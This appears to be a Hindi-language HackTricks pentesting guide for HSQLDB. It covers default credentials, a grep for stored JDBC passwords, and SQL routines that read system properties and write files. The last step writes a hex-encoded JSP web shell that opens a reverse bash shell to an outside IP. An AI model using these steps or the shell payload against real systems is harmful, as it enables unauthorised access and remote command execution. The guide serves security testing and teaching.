hacktricks/src/network-services-pentesting/9001-pentesting-hsqldb.md

6.0 KiB

9001 - Pentesting HSQLDB

{{#include ../banners/hacktricks-training.md}}

Basic Information

HSQLDB (HyperSQL DataBase) एक प्रमुख SQL रिलेशनल डेटाबेस सिस्टम है जो Java में लिखा गया है। यह एक छोटा, तेज़ मल्टीथ्रेडेड और ट्रांजैक्शनल डेटाबेस इंजन प्रदान करता है जिसमें इन-मेमोरी और डिस्क-आधारित टेबल होते हैं और यह एम्बेडेड और सर्वर मोड का समर्थन करता है।

डिफ़ॉल्ट पोर्ट: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Default Settings

ध्यान दें कि डिफ़ॉल्ट रूप से यह सेवा संभवतः मेमोरी में चल रही है या लोकलहोस्ट से बंधी हुई है। यदि आपने इसे पाया है, तो आपने संभवतः किसी अन्य सेवा का शोषण किया है और विशेषाधिकार बढ़ाने की कोशिश कर रहे हैं।

डिफ़ॉल्ट क्रेडेंशियल आमतौर पर sa होते हैं जिनका पासवर्ड खाली होता है।

यदि आपने किसी अन्य सेवा का शोषण किया है, तो संभावित क्रेडेंशियल्स के लिए खोजें।

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

ध्यान दें कि डेटाबेस का नाम ध्यान से नोट करें - आपको कनेक्ट करने के लिए इसकी आवश्यकता होगी।

जानकारी इकट्ठा करना

DB इंस्टेंस से कनेक्ट करें HSQLDB डाउनलोड करके और hsqldb/lib/hsqldb.jar को निकालें। GUI ऐप eww को java -jar hsqldb.jar का उपयोग करके चलाएं और खोजे गए/कमजोर क्रेडेंशियल्स का उपयोग करके इंस्टेंस से कनेक्ट करें।

ध्यान दें कि कनेक्शन URL एक दूरस्थ सिस्टम के लिए इस तरह दिखेगा: jdbc:hsqldb:hsql://ip/DBNAME

तरकीबें

जावा भाषा रूटीन

हम HSQLDB से जावा भाषा रूटीन का उपयोग करके एक जावा क्लास के स्थिर तरीकों को कॉल कर सकते हैं। ध्यान दें कि कॉल की गई क्लास को एप्लिकेशन के क्लासपाथ में होना चाहिए।

JRTs functions या procedures हो सकते हैं। यदि जावा विधि एक या अधिक SQL-संगत प्राइमिटिव वेरिएबल लौटाती है, तो फ़ंक्शंस को SQL स्टेटमेंट के माध्यम से कॉल किया जा सकता है। इन्हें VALUES स्टेटमेंट का उपयोग करके लागू किया जाता है।

यदि जावा विधि जिसे हम कॉल करना चाहते हैं, void लौटाती है, तो हमें CALL स्टेटमेंट के साथ लागू की गई एक प्रक्रिया का उपयोग करना होगा।

जावा सिस्टम प्रॉपर्टीज़ पढ़ना

फंक्शन बनाएं:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

कार्यवाही फ़ंक्शन:

VALUES(getsystemproperty('user.name'))

आप यहाँ सिस्टम प्रॉपर्टीज़ की सूची पा सकते हैं।

फ़ाइल में सामग्री लिखें

आप com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java गैजेट का उपयोग कर सकते हैं जो JDK में स्थित है जो एप्लिकेशन के क्लास पाथ में ऑटो लोड होता है कस्टम प्रक्रिया के माध्यम से डिस्क पर हेक्स-कोडेड आइटम लिखने के लिए। 1024 बाइट्स का अधिकतम आकार ध्यान में रखें

प्रक्रिया बनाएं:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

प्रक्रिया निष्पादित करें:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

{{#include ../banners/hacktricks-training.md}}